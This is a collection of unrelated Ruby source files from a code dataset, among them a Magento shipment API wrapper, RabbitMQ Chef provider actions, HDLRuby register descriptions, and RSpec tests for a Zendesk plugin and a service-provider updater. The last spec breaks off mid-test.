id = commit("create", *args)
record = info(id)
record
end
# sales_order_shipment.addComment
# Add new comment to shipment
#
# Return: boolean
#
# Arguments:
#
# string shipmentIncrementId - shipment increment id
# string comment - shipment comment
# boolean email - send e-mail flag (optional)
# boolean includeInEmail - include comment in e-mail flag (optional)
def add_comment(*args)
commit('addComment', *args)
end
# sales_order_shipment.addTrack
# Add new tracking number
#
# Return: int
#
# Arguments:
#
# string shipmentIncrementId - shipment increment id
# string carrier - carrier code
# string title - tracking title
# string trackNumber - tracking number
def add_track(*args)
commit('addTrack', *args)
end
# sales_order_shipment.removeTrack
# Remove tracking number
#
# Return: boolean
#
# Arguments:
#
# string shipmentIncrementId - shipment increment id
# int trackId - track id
def remove_track(*args)
commit('removeTrack', *args)
end
# sales_order_shipment.getCarriers
# Retrieve list of allowed carriers for order
#
# Return: array
#
# Arguments:
#
# string orderIncrementId - order increment id
def get_carriers(*args)
commit('getCarriers', *args)
end
def find_by_id(id)
info(id)
end
def find(find_type, options = {})
filters = {}
options.each_pair { |k, v| filters[k] = {:eq => v} }
results = list(filters)
raise Magento::ApiError, "100 Requested shipment not exists." if results.blank?
if find_type == :first
info(results.first.increment_id)
else
Array(results).map do |s|
info(s.increment_id)
end
end
end
end
end
| 25.592593 | 86 | 0.633864 |
ab70bbff6a40a4074fc17f34f73c84517aa04b68 | 673 | # Marks the given envelopes as deleted in a single transaction
class BatchDeleteEnvelopes
attr_reader :envelopes, :delete_token
def initialize(envelopes, delete_token)
@envelopes = envelopes
@delete_token = delete_token
end
def run!
Envelope.transaction do
check_token!
envelopes.map do |envelope|
envelope.resource_public_key = delete_token.public_key
envelope.mark_as_deleted!
end
end
end
private
def check_token!
return if delete_token.valid?
raise MR::DeleteTokenError.new('Delete token has invalid attributes',
delete_token.errors.full_messages)
end
end
| 23.206897 | 73 | 0.695394 |
7a52fadccf5d5af1402839cf5b85c09dd25616af | 2,874 | # frozen_string_literal: true
require 'rails_helper'
RSpec.describe 'Discourse Zendesk Plugin' do
let(:staff) { Fabricate(:moderator) }
let(:zendesk_url_default) { 'https://your-url.zendesk.com/api/v2' }
let(:zendesk_api_ticket_url) { zendesk_url_default + '/tickets' }
let(:ticket_response) do
{
ticket: {
id: 'ticket_id',
url: 'ticket_url'
}
}.to_json
end
before do
default_header = { 'Content-Type' => 'application/json; charset=UTF-8' }
stub_request(:post, zendesk_api_ticket_url).
to_return(status: 200, body: ticket_response, headers: default_header)
stub_request(:get, zendesk_url_default + "/users/me").
to_return(status: 200, body: { user: {} }.to_json, headers: default_header)
end
describe 'Plugin Settings' do
describe 'Storage Preparation' do
let(:zendesk_enabled_default) { false }
it 'has zendesk_url & zendesk_enabled site settings' do
expect(SiteSetting.zendesk_url).to eq(zendesk_url_default)
expect(SiteSetting.zendesk_enabled).to eq(zendesk_enabled_default)
end
end
describe 'zendesk_job_push_only_author_posts?' do
it 'disabled by default' do
expect(SiteSetting.zendesk_job_push_only_author_posts?).to be_falsey
end
end
end
describe 'Zendesk Integration' do
describe 'Create ticket' do
let!(:topic) { Fabricate(:topic) }
let!(:p1) { Fabricate(:post, topic: topic) }
let(:zendesk_api_user_search_url) { zendesk_url_default + "/users/search?query=#{p1.user.email}" }
let(:zendesk_api_user_create_url) { zendesk_url_default + "/users" }
before do
sign_in staff
default_header = { 'Content-Type' => 'application/json; charset=UTF-8' }
stub_request(:get, zendesk_api_user_search_url).
to_return(status: 200, body: { user: {} }.to_json, headers: default_header)
stub_request(:post, zendesk_api_user_create_url).
to_return(status: 200, body: { user: { id: 24 } }.to_json, headers: default_header)
end
it 'creates a new zendesk ticket' do
post '/zendesk-plugin/issues.json', params: {
topic_id: topic.id
}
expect(WebMock).to have_requested(:post, zendesk_api_ticket_url).with { |req|
body = JSON.parse(req.body)
body['ticket']['submitter_id'] == 24 &&
body['ticket']['priority'] == 'normal' &&
body['ticket']['custom_fields'].find { |field|
field['imported_from'].present? && field['external_id'].present? &&
field['imported_by'] == 'discourse_zendesk_plugin'
}
}
expect(topic.custom_fields['discourse_zendesk_plugin_zendesk_api_url']).to eq('ticket_url')
expect(topic.custom_fields['discourse_zendesk_plugin_zendesk_id']).to eq('ticket_id')
end
end
end
end
| 35.925 | 104 | 0.657272 |
e8902f7f9405e6b3b52c09b82d14d5bcfe128f6d | 1,055 | # frozen_string_literal: true
require_relative '../report.rb'
module Weather
module Provider
class Abstract
def initialize(*_args)
@city_name = 'Unknown'
@city_id = nil
end
def current_weather_for(_city_name_or_id)
raise NotImplementedError, "#{self.class.name}#current_weather_for() is an abstract method."
end
private
attr_reader :city_name, :city_id
def parse_city(city_name_or_id)
if /\A\d+\z/.match(city_name_or_id.to_s)
@city_id = city_name_or_id.to_i
else
@city_name = city_name_or_id.to_s
end
end
def not_found_report
report = report_with({})
report.not_found!
report
end
def report_with(attributes = {})
base_atts = { city_name: city_name,
city_id: city_id,
temperature_in_celsius: nil,
time_in_utc: Time.now.utc }
Weather::Report.new(base_atts.merge(attributes))
end
end
end
end
| 23.444444 | 100 | 0.596209 |
bb1b3ca50eaaa8486766ce3d8397b00a8af9c6f4 | 2,635 | #
# Cookbook Name:: rabbitmq
# Provider:: user
#
# Copyright 2011, Opscode, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
action :add do
execute "rabbitmqctl add_user #{new_resource.user} #{new_resource.password}" do
not_if "rabbitmqctl list_users | grep #{new_resource.user}"
Chef::Log.info "Adding RabbitMQ user '#{new_resource.user}'."
new_resource.updated_by_last_action(true)
end
end
action :delete do
execute "rabbitmqctl delete_user #{new_resource.user}" do
only_if "rabbitmqctl list_users | grep #{new_resource.user}"
Chef::Log.info "Deleting RabbitMQ user '#{new_resource.user}'."
new_resource.updated_by_last_action(true)
end
end
action :set_permissions do
if new_resource.vhost
execute "rabbitmqctl set_permissions -p #{new_resource.vhost} #{new_resource.user} #{new_resource.permissions}" do
not_if "rabbitmqctl list_user_permissions | grep #{new_resource.user}"
Chef::Log.info "Setting RabbitMQ user permissions for '#{new_resource.user}' on vhost #{new_resource.vhost}."
new_resource.updated_by_last_action(true)
end
else
execute "rabbitmqctl set_permissions #{new_resource.user} #{new_resource.permissions}" do
not_if "rabbitmqctl list_user_permissions | grep #{new_resource.user}"
Chef::Log.info "Setting RabbitMQ user permissions for '#{new_resource.user}'."
new_resource.updated_by_last_action(true)
end
end
end
action :clear_permissions do
if new_resource.vhost
execute "rabbitmqctl clear_permissions -p #{new_resource.vhost} #{new_resource.user}" do
only_if "rabbitmqctl list_user_permissions | grep #{new_resource.user}"
Chef::Log.info "Clearing RabbitMQ user permissions for '#{new_resource.user}' from vhost #{new_resource.vhost}."
new_resource.updated_by_last_action(true)
end
else
execute "rabbitmqctl clear_permissions #{new_resource.user}" do
only_if "rabbitmqctl list_user_permissions | grep #{new_resource.user}"
Chef::Log.info "Clearing RabbitMQ user permissions for '#{new_resource.user}'."
new_resource.updated_by_last_action(true)
end
end
end
| 39.328358 | 118 | 0.746869 |
ab3bf1c3f0032967282ccdfa87a37f9760aa7e20 | 32 | module CourseOverviewHelper
end
| 10.666667 | 27 | 0.90625 |
e84c5851cbc100a8a7d7ee08f0d24b501a2f2c34 | 638 | # Methods added to this helper will be available to all templates in the application.
module ApplicationHelper
include Acl9::Helpers
# If user is an admin the admin options should be shown.
access_control :show_admin_options? do
allow :admin
end
# Return a progressbar
def insert_progressbar(percent)
tooltip = I18n.t('application.roadmap.progress_tooltip', :progress => percent)
val = "<span id='roadmap_progressbar' class='ttLink' title='#{tooltip}'></span>"
val += "<script type='text/javascript'>$('#roadmap_progressbar').progressbar({value: #{percent != 0 ? percent : 1}});</script>"
val
end
end
| 35.444444 | 131 | 0.713166 |
5dfd6ddc730ea18c6271ff038081f4302cc4c13d | 243 | # frozen_string_literal: true
FactoryGirl.define do
factory :course_discussion_topic_subscription,
class: Course::Discussion::Topic::Subscription.name do
association :topic, factory: :course_discussion_topic
user
end
end
| 27 | 64 | 0.769547 |
ff70b7c4992800a9185a673b086da1490e911d73 | 2,120 | #
# Be sure to run `pod lib lint ${POD_NAME}.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
def self.smart_version
tag = `git describe --abbrev=0 --tags 2>/dev/null`.strip
if $?.success? then tag else "0.0.1" end
end
s.name = '${POD_NAME}'
s.version = smart_version
s.summary = <<-DESC
TODO: Add long description of the pod here.
DESC
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
XiaoYing pod - ${POD_NAME}
DESC
s.homepage = 'git@github.com:Leon0206${POD_NAME}'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'leon0206' => '634376133@qq.com' }
s.source = { :git => 'git@github.com:Leon0206/${POD_NAME}.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '9.0'
s.preserve_paths = "#{s.name}/Classes/**/*","Framework/**/*", "#{s.name}/Assets/**/*",
$use_binary = nil
$use_binary = ENV['use_binary']
$pod_use_binary = ENV["#{s.name}_use_binary"]
if $pod_use_binary =='1'
$use_binary = true
elsif $pod_use_binary =='0'
$use_binary = false
else
if $use_binary == '1'
$use_binary = true
end
end
tag = `git describe --abbrev=0 --tags 2>/dev/null`.strip
if tag && !tag.empty?
$use_binary =false
end
if $use_binary ==true
s.vendored_frameworks = "Framework/**/*.framework"
else
s.source_files = "#{s.name}/Classes/**/*"
end
end
| 31.176471 | 100 | 0.620755 |
6ad01fe1d00a594a2928a182136b6c1ebfcb0a40 | 6,844 | require "rails_helper"
def robust_password
"1G09_!9s08vUsa"
end
def fill_valid_user
fill_in :user_address, with: generate(:french_address)
fill_in :user_phone_number, with: generate(:french_phone_number)
fill_in :user_email, with: "hello+#{(rand * 10000).to_i}@covidliste.com" # needs valid email here
check :user_statement
check :user_toc
end
def signup_submit
click_on "S’inscrire"
end
RSpec.describe "Users", type: :system do
let(:user) { build(:user) }
before do
allow_any_instance_of(GeocodingService).to receive(:call).and_return({
lat: 48.12345,
lon: 2.12345
})
end
context "sign up" do
it "can sign up" do
expect do
visit "/"
fill_valid_user
signup_submit
end.to change { User.count }.by(1)
end
it "rejects sign up if address has no zipcode valid" do
user.save!
expect do
visit "/"
fill_valid_user
fill_in :user_address, with: "5 rue Larue, Marseille" # no zipcode
signup_submit
end.not_to change { User.count }
expect(page).to have_text("doit comporter un code postal")
end
it "rejects sign up if email is not unique" do
user.save!
expect do
visit "/"
fill_valid_user
fill_in :user_email, with: user.email # not unique
signup_submit
end.not_to change { User.count }
expect(page).to have_text("correspond déjà à une personne inscrit")
end
it "rejects sign up if statement is not checked" do
expect do
visit "/"
fill_valid_user
uncheck :user_statement
signup_submit
end.not_to change { User.count }
end
it "rejects sign up if toc is not checked" do
expect do
visit "/"
fill_valid_user
uncheck :user_toc
signup_submit
end.not_to change { User.count }
end
it "stores statement and toc acceptance timestamps" do
expect do
visit "/"
fill_valid_user
signup_submit
end.to change { User.count }.by(1)
user = User.last
expect(user.statement_accepted_at).not_to be_nil
expect(user.toc_accepted_at).not_to be_nil
end
it "redirects a partner to their vaccination center page" do
partner = create(:partner)
visit new_partner_session_path
fill_in :partner_email, with: partner.email
fill_in :partner_password, with: partner.password
click_on "Connexion"
visit "/"
expect(page).to have_text("Bonjour #{partner.name}")
end
end
context "after login" do
before do
user.save!
token = Devise::Passwordless::LoginToken.encode(user)
visit users_magic_link_url({user: {email: user.email, token: token}})
expect(page).to have_text("Connecté(e).")
expect(page).to have_text("Vous êtes inscrit sur Covidliste depuis")
end
it "it allows me to edit personal information " do
new_attributes = {
phone_number: generate(:french_phone_number)
}
new_attributes.each do |key, new_value|
fill_in "user_#{key}", with: new_value
end
click_on "Je modifie mes informations"
expect(page).to have_text("Modifications enregistrées.")
user.reload
new_attributes.each do |key, value|
if key == :phone_number
expect(user.phone_number).to end_with(new_attributes[:phone_number][1..].delete(" "))
else
expect(user.public_send(key)).to eq value
end
end
end
it "it allows me to delete my account" do
expect do
accept_confirm_modal do
click_on "Supprimer mon compte"
end
end.to change { User.active.count }.by(-1)
expect(page).to have_text("Votre compte a bien été supprimé.")
end
it "it allows me to decline the delete" do
expect do
decline_confirm_modal do
click_on "Supprimer mon compte"
end
end.to change { User.active.count }.by(0)
end
context "with a confirmed match" do
let(:campaign) { build(:campaign) }
let!(:match) { create(:match, campaign: campaign, confirmed_at: Time.now, user: user) }
it "it does not allow me to edit personal information" do
click_on "Je modifie mes informations"
expect(page).not_to have_text("Modifications enregistrées.")
expect(page).to have_text("Vous ne pouvez pas modifier vos informations actuellement car vous avez confirmé un rendez-vous de vaccination.")
end
it "it does not allow te delete my account" do
expect do
accept_confirm_modal do
click_on "Supprimer mon compte"
end
end.to change { User.active.count }.by(0)
expect(page).to_not have_text("Votre compte a bien été supprimé.")
expect(page).to have_text("Vous ne pouvez pas supprimer votre compte actuellement car vous avez confirmé un rendez-vous de vaccination.")
end
end
context "with a pending match" do
let(:campaign) { build(:campaign) }
let!(:match) { create(:match, campaign: campaign, confirmed_at: nil, expires_at: 10.minutes.since, user: user) }
it "it does not allow me to edit personal information " do
click_on "Je modifie mes informations"
expect(page).not_to have_text("Modifications enregistrées.")
expect(page).to have_text("Vous ne pouvez pas modifier vos informations actuellement car vous avez une proposition rendez vous de vaccination en cours.")
end
it "it allows me to delete my account" do
expect do
accept_confirm_modal do
click_on "Supprimer mon compte"
end
end.to change { User.active.count }.by(-1)
expect(page).to have_text("Votre compte a bien été supprimé.")
end
end
end
describe "Login using password less link" do
before { user.save! }
context "expired link" do
scenario "it notifies the user" do
token = Devise::Passwordless::LoginToken.encode(user)
magic_link = users_magic_link_url({user: {email: user.email, token: token}})
travel Devise.passwordless_login_within + 2.minutes
visit magic_link
expect(page).to_not have_current_path(profile_path)
expect(page).to have_text(I18n.t("devise.failure.user.magic_link_invalid"))
end
end
context "invalid link (remove last character)" do
scenario "it notifies the user" do
token = Devise::Passwordless::LoginToken.encode(user)[0...-1]
magic_link = users_magic_link_url({user: {email: user.email, token: token}})
visit magic_link
expect(page).to_not have_current_path(profile_path)
expect(page).to have_text(I18n.t("devise.failure.user.magic_link_invalid"))
end
end
end
end
| 29.5 | 161 | 0.651081 |
62ae50ece8211804c6a173a6fa550aa02400665b | 916 | #!/usr/bin/env ruby
$: << File.expand_path('../lib', __dir__)
require 'etc'
require 'logger'
require 'griffin'
require 'grpc'
require 'griffin/interceptors/server/logging_interceptor'
require_relative '../grpc/benchmark_queue_service'
require_relative '../grpc/benchmark_report_service'
Griffin::Server.configure do |c|
c.bind '0.0.0.0'
c.services [
BenchmarkQueueService,
BenchmarkReportService,
]
c.interceptors [
Griffin::Interceptors::Server::LoggingInterceptor.new,
]
# Number of processes
c.workers 1
# Min/Max number of threads per process to handle gRPC call (= maximum concurrent number of gRPC requests per process)
c.pool_size 15,15
# Min/Max number of threads per process to handle HTTP/2 connection (= maximum concurrent connection per process)
c.connection_size 2,2
c.logger Logger.new($stdout)
end
Griffin::Server.run(port: ENV.fetch('PORT', '50051')&.to_i)
| 26.171429 | 120 | 0.740175 |
7a9aae9a99f16d271bbc171101c45497724e9a68 | 2,820 | require 'HDLRuby'
configure_high
# Describes a simple D-FF
system :dff0 do
bit.input :clk, :rst, :d
bit.output :q, :qb
qb <= ~q
par(clk.posedge) do
q <= d & ~rst
end
end
# Instantiate it for checking.
dff0 :dff0I
# Decribes another D-FF
system :dff1 do
input :clk, :rst, :d
output :q, :qb
qb <= ~q
(q <= d & ~rst).at(clk.posedge)
end
# Instantiate it for checking.
dff1 :dff1I
# Describes an 8-bit register
system :reg8 do
input :clk, :rst
[7..0].input :d
[7..0].output :q, :qb
qb <= ~q
(q <= d & [~rst]*8).at(clk.posedge)
end
# Instantiate it for checking.
reg8 :reg8I
# Describes a n-bit register.
system :regn do |n|
input :clk, :rst
[n-1..0].input :d
[n-1..0].output :q,:qb
qb <= ~q
(q <= d & [~rst]*n).at(clk.posedge)
end
# Instantiate it for checking.
# regn :regn8I,8
regn(8).(:regn8I)
# Describes a register of generic type.
# NOTE: the input can be automatically connected from the generic argument.
system :reg do |typ|
input :clk, :rst
typ.input :d
# Now ensure typ is a type.
typ = typ.type if typ.is_a?(HExpression)
typ.output :q,:qb
qb <= ~q
(q <= d & [~rst]*typ.width).at(clk.posedge)
end
# Instantiate it for checking.
# reg :regbit8I, bit[7..0]
reg(bit[7..0]).(:regbit8I)
# Instantiate it with infered type from connection.
bit[8].inner :sig0
reg(sig0).(:regSig0I)
# Function generating the body of a register description.
def make_reg_body(typ)
input :clk, :rst
typ.input :d
typ.output :q,:qb
qb <= ~q
(q <= d & [~rst]*typ.width).at(clk.posedge)
end
# Now declare the systems decribing the registers.
system :dff_body do
make_reg_body(bit)
end
system :reg8_body do
make_reg_body(bit[7..0])
end
system :regn_body do |n|
make_reg_body(bit[n-1..0])
end
system :reg_body do |typ|
make_reg_body(typ)
end
# Instantiate these systems for checking them.
dff_body :dff_bodyI
reg8_body :reg8_bodyI
# regn_body :regn_bodyI, 8
regn_body(8).(:regn_bodyI)
# reg_body :reg_bodyI, bit[7..0]
reg_body(bit[7..0]).(:reg_bodyI)
# Function generating a register declaration.
def make_reg(name,&blk)
system name do |*arg|
input :clk, :rst
blk.(*arg).input :d
blk.(*arg).output :q,:qb
qb <= ~q
(q <= d & [~rst]*blk.(*arg).width).at(clk.posedge)
end
end
# Now let's generate the register declarations.
make_reg(:dff_make) { bit }
make_reg(:reg8_make){ bit[7..0] }
make_reg(:regn_make){ |n| bit[(n-1)..0] }
make_reg(:reg_make) { |typ| typ }
# Instantiate these systems for checking them.
dff_make :dff_makeI
reg8_make :reg8_makeI
regn_make :regn_makeI, 8
reg_make :reg_makeI, bit[7..0]
# Generate the low level representation.
low = reg_makeI.systemT.to_low
# Displays it
puts low.to_yaml
| 18.675497 | 75 | 0.640426 |
6278e4901251308cc17da35813f60db18ebe0834 | 152 | module Indie
module Otp
class ApplicationController < ApplicationController::Base
protect_from_forgery with: :exception
end
end
end
| 15.2 | 61 | 0.743421 |
038370cf5c4dad51cc91d777347174a95fc9010d | 1,131 | class Phyml < Formula
# cite Guindon_2010: "https://doi.org/10.1093/sysbio/syq010"
desc "Fast maximum likelihood-based phylogenetic inference"
homepage "http://www.atgc-montpellier.fr/phyml/"
url "https://github.com/stephaneguindon/phyml/archive/v3.3.20200621.tar.gz"
sha256 "a8243923ee08c74cab609a4b086ade66c6156fc2b24450e2a500108dc644c867"
license "GPL-3.0"
bottle do
root_url "https://ghcr.io/v2/brewsci/bio"
sha256 cellar: :any_skip_relocation, catalina: "adac7f68bc36a7bd0b4954749d2293af62ea6d9fe91febed13d84f514f089ed9"
sha256 cellar: :any_skip_relocation, x86_64_linux: "7253c8ac68f4f24790adc53d49c9030fd0113fe8f33c482375c47874386ce43e"
end
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
depends_on "pkg-config" => :build
def install
system "./autogen.sh"
system "./configure", "--prefix=#{prefix}"
system "make"
bin.install "src/phyml"
doc.install "doc/phyml-manual.pdf"
pkgshare.install Dir["examples/*"]
end
test do
assert_match version.to_s, shell_output("#{bin}/phyml --version", 1)
end
end
| 34.272727 | 121 | 0.738285 |
ffc6f5b426c57fa6053034e275d7807f3c5f97d7 | 107 | require "railspress/version"
require "railspress/engine"
module Railspress
# Your code goes here...
end
| 15.285714 | 28 | 0.766355 |
33cce5d50401d896718e8a7782f26a2cf0262824 | 274 | include YARD::MRuby::Templates::Helpers::HTMLHelper
def init
sections :header, [:function_signature, T('docstring'), :source]
end
def source
return if owner != object.namespace
return if Tags::OverloadTag === object
return if object.source.nil?
erb(:source)
end
| 21.076923 | 66 | 0.733577 |
ed2f8314a9251ec2b3852a13af25ea3ffc845ae1 | 1,495 | class Dcled < Formula
desc "Linux driver for dream cheeky USB message board"
homepage "https://www.jeffrika.com/~malakai/dcled/index.html"
url "https://www.jeffrika.com/~malakai/dcled/dcled-2.2.tgz"
sha256 "0da78c04e1aa42d16fa3df985cf54b0fbadf2d8ff338b9bf59bfe103c2a959c6"
bottle do
cellar :any
sha256 "5c36acee3c790871237cb7a3400c6fe4e37daa90258c10b89043ac2aad3a6dc4" => :big_sur
sha256 "83a87a0f780dc73c21151690f3b1d0654d33e2baad358122be9d24a0610cea64" => :catalina
sha256 "4b94dd5ba218e3bdb0a10767d0ae62205495130baa839db4be4ab29d6561e5e2" => :mojave
sha256 "91cf7fa30d905efaf7499f0667c65e25ddb69d82be3f52b93d1df6a400fd7141" => :high_sierra
sha256 "bfc1532d76b4d37c706d065bc98feb5a3aeff20751a713d7b7efb08c0976fe9e" => :sierra
sha256 "53d07c9548eaeba12645e944ce92c27a02667758176815220dc4ee2a8945c661" => :el_capitan
sha256 "2ead7c4eb3c170690890c294936a2d3fc39def2fc332ce4c1da6d17cc8f91b50" => :yosemite
sha256 "47a0b2e1eba58932936c25726d631d19f0f2a0a7b8872aff9e1d3a83b4e3cfc9" => :mavericks
sha256 "f38a543b5462687bb4a85af64c955326f5aaa0d635186d585b1b93ed01d1297c" => :x86_64_linux
end
depends_on "libhid"
depends_on "libusb"
def install
system "make", "CC=#{ENV.cc}",
"LIBUSB_CFLAGS=-I#{Formula["libusb"].opt_include}/libusb-1.0"
system "make", "install",
"FONTDIR=#{share}/#{name}",
"INSTALLDIR=#{bin}"
end
test do
system "#{bin}/dcled", "--help"
end
end
| 42.714286 | 94 | 0.758528 |
2647682731b6a44c80ffac18ab459e0c38440396 | 144 | # Be sure to restart your server when you modify this file.
Shoeshop::Application.config.session_store :cookie_store, key: '_Shoeshop_session'
| 36 | 82 | 0.805556 |
7944b802b739dee5cda0ec2ce4df917c096c78ac | 203 | component "rubygem-aws-sdk-ec2" do |pkg, settings, platform|
pkg.version "1.266.0"
pkg.md5sum "34b730c219852e2e20a0388fcf7615ba"
instance_eval File.read('configs/components/_base-rubygem.rb')
end
| 29 | 64 | 0.773399 |
1af935f2fd9076be47d362217f3507344def7c11 | 1,274 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/iam_v1/service.rb'
require 'google/apis/iam_v1/classes.rb'
require 'google/apis/iam_v1/representations.rb'
module Google
module Apis
# Google Identity and Access Management (IAM) API
#
# Manages identity and access control for Google Cloud Platform resources,
# including the creation of service accounts, which you can use to authenticate
# to Google and make API calls.
#
# @see https://cloud.google.com/iam/
module IamV1
VERSION = 'V1'
REVISION = '20180330'
# View and manage your data across Google Cloud Platform services
AUTH_CLOUD_PLATFORM = 'https://www.googleapis.com/auth/cloud-platform'
end
end
end
| 34.432432 | 83 | 0.733124 |
3885f7a3848758c07ba72718bec10fcec4ab601f | 1,633 | require 'test_helper'
class UsersSignupTest < ActionDispatch::IntegrationTest
def setup
ActionMailer::Base.deliveries.clear
end
test "invalid signup information" do
get signup_path
assert_no_difference 'User.count' do
post users_path, params: { user: { name: "",
email: "user@invalid",
password: "foo",
password_confirmation: "bar" } }
end
assert_template 'users/new'
end
test "valid signup information with account activation" do
get signup_path
assert_difference 'User.count', 1 do
post users_path, params: { user: { name: "Example User",
email: "user@example.com",
password: "password",
password_confirmation: "password" } }
end
assert_equal 1, ActionMailer::Base.deliveries.size
user = assigns(:user)
assert_not user.activated?
# 有効化していない状態でログインしてみる
log_in_as(user)
assert_not is_logged_in?
# 有効化トークンが不正な場合
get edit_account_activation_path("invalid token", email: user.email)
assert_not is_logged_in?
# トークンは正しいがメールアドレスが無効な場合
get edit_account_activation_path(user.activation_token, email: 'wrong')
assert_not is_logged_in?
# 有効化トークンが正しい場合
get edit_account_activation_path(user.activation_token, email: user.email)
assert user.reload.activated?
follow_redirect!
assert_template 'users/show'
assert is_logged_in?
end
end | 34.020833 | 78 | 0.605021 |
f7665137edae7d67156f56811c535f9748f3c38b | 8,625 | require 'rails_helper'
describe ServiceProviderUpdater do
include SamlAuthHelper
let(:fake_dashboard_url) { 'http://dashboard.example.org' }
let(:dashboard_sp_issuer) { 'some-dashboard-service-provider' }
let(:inactive_dashboard_sp_issuer) { 'old-dashboard-service-provider' }
let(:openid_connect_issuer) { 'sp:test:foo:bar' }
let(:openid_connect_redirect_uris) { %w[http://localhost:1234 my-app://result] }
let(:agency_1) { create(:agency) }
let(:agency_2) { create(:agency) }
let(:agency_3) { create(:agency) }
let(:friendly_sp) do
{
id: 'big number',
created_at: '2010-01-01 00:00:00'.to_datetime,
updated_at: '2010-01-01 00:00:00'.to_datetime,
issuer: dashboard_sp_issuer,
agency_id: agency_1.id,
friendly_name: 'a friendly service provider',
description: 'user friendly login.gov dashboard',
acs_url: 'http://sp.example.org/saml/login',
assertion_consumer_logout_service_url: 'http://sp.example.org/saml/logout',
block_encryption: 'aes256-cbc',
certs: [saml_test_sp_cert],
active: true,
native: true,
approved: true,
help_text: {
sign_in: { en: '<b>A new different sign-in help text</b>' },
sign_up: { en: '<b>A new different help text</b>' },
forgot_password: { en: '<b>A new different forgot password help text</b>' },
},
}
end
let(:old_sp) do
{
id: 'small number',
updated_at: '2010-01-01 00:00:00',
issuer: inactive_dashboard_sp_issuer,
agency_id: agency_2.id,
friendly_name: 'an old, stale service provider',
description: 'forget about me',
acs_url: 'http://oldsp.example.org/saml/login',
assertion_consumer_logout_service_url: 'http://oldsp.example.org/saml/logout',
block_encryption: 'aes256-cbc',
certs: [saml_test_sp_cert],
active: false,
}
end
let(:nasty_sp) do
{
issuer: 'http://localhost:3000',
friendly_name: 'trying to override a test SP',
agency_id: agency_3.id,
acs_url: 'http://nasty-override.example.org/saml/login',
active: true,
}
end
let(:openid_connect_sp) do
{
issuer: openid_connect_issuer,
friendly_name: 'a service provider',
agency_id: agency_1.id,
redirect_uris: openid_connect_redirect_uris,
active: true,
certs: [
saml_test_sp_cert,
File.read(Rails.root.join('certs', 'sp', 'saml_test_sp2.crt')),
],
}
end
let(:dashboard_service_providers) { [friendly_sp, old_sp, nasty_sp, openid_connect_sp] }
describe '#run' do
before do
allow(IdentityConfig.store).to receive(:dashboard_url).and_return(fake_dashboard_url)
end
context 'dashboard is available' do
before do
stub_request(:get, fake_dashboard_url).to_return(
status: 200,
body: dashboard_service_providers.to_json,
)
end
after do
ServiceProvider.from_issuer(dashboard_sp_issuer).try(:destroy)
ServiceProvider.from_issuer(inactive_dashboard_sp_issuer).try(:destroy)
end
it 'creates new dashboard-provided Service Providers' do
subject.run
sp = ServiceProvider.from_issuer(dashboard_sp_issuer)
expect(sp.agency).to eq agency_1
expect(sp.ssl_certs.first).to be_a OpenSSL::X509::Certificate
expect(sp.active?).to eq true
expect(sp.id).to_not eq 0
expect(sp.updated_at).to_not eq friendly_sp[:updated_at]
expect(sp.created_at).to_not eq friendly_sp[:created_at]
expect(sp.native).to eq false
expect(sp.approved).to eq true
expect(sp.help_text['sign_in']).to eq friendly_sp[:help_text][:sign_in].
stringify_keys
expect(sp.help_text['sign_up']).to eq friendly_sp[:help_text][:sign_up].
stringify_keys
expect(sp.help_text['forgot_password']).to eq friendly_sp[:help_text][:forgot_password].
stringify_keys
end
it 'updates existing dashboard-provided Service Providers' do
sp = create(:service_provider, issuer: dashboard_sp_issuer)
old_id = sp.id
subject.run
sp = ServiceProvider.from_issuer(dashboard_sp_issuer)
expect(sp.agency).to eq agency_1
expect(sp.ssl_certs.first).to be_a OpenSSL::X509::Certificate
expect(sp.active?).to eq true
expect(sp.id).to eq old_id
expect(sp.updated_at).to_not eq friendly_sp[:updated_at]
expect(sp.created_at).to_not eq friendly_sp[:created_at]
expect(sp.native).to eq false
expect(sp.approved).to eq true
expect(sp.help_text['sign_in']).to eq friendly_sp[:help_text][:sign_in].
stringify_keys
expect(sp.help_text['sign_up']).to eq friendly_sp[:help_text][:sign_up].
stringify_keys
expect(sp.help_text['forgot_password']).to eq friendly_sp[:help_text][:forgot_password].
stringify_keys
end
it 'removes inactive Service Providers' do
expect(ServiceProvider.from_issuer(inactive_dashboard_sp_issuer)).
to be_a NullServiceProvider
subject.run
sp = ServiceProvider.from_issuer(inactive_dashboard_sp_issuer)
expect(sp).to be_a NullServiceProvider
end
it 'ignores attempts to alter native Service Providers' do
subject.run
sp = ServiceProvider.from_issuer('http://localhost:3000')
expect(sp.agency).to_not eq 'trying to override a test SP'
end
it 'updates redirect_uris' do
subject.run
sp = ServiceProvider.from_issuer(openid_connect_issuer)
expect(sp.redirect_uris).to eq(openid_connect_redirect_uris)
end
it 'updates certs (plural)' do
expect { subject.run }.
to(change { ServiceProvider.from_issuer(openid_connect_issuer).ssl_certs.size }.to(2))
end
end
context 'dashboard is not available' do
it 'logs error and does not affect registry' do
allow(Rails.logger).to receive(:error)
before_count = ServiceProvider.count
stub_request(:get, fake_dashboard_url).to_return(status: 500)
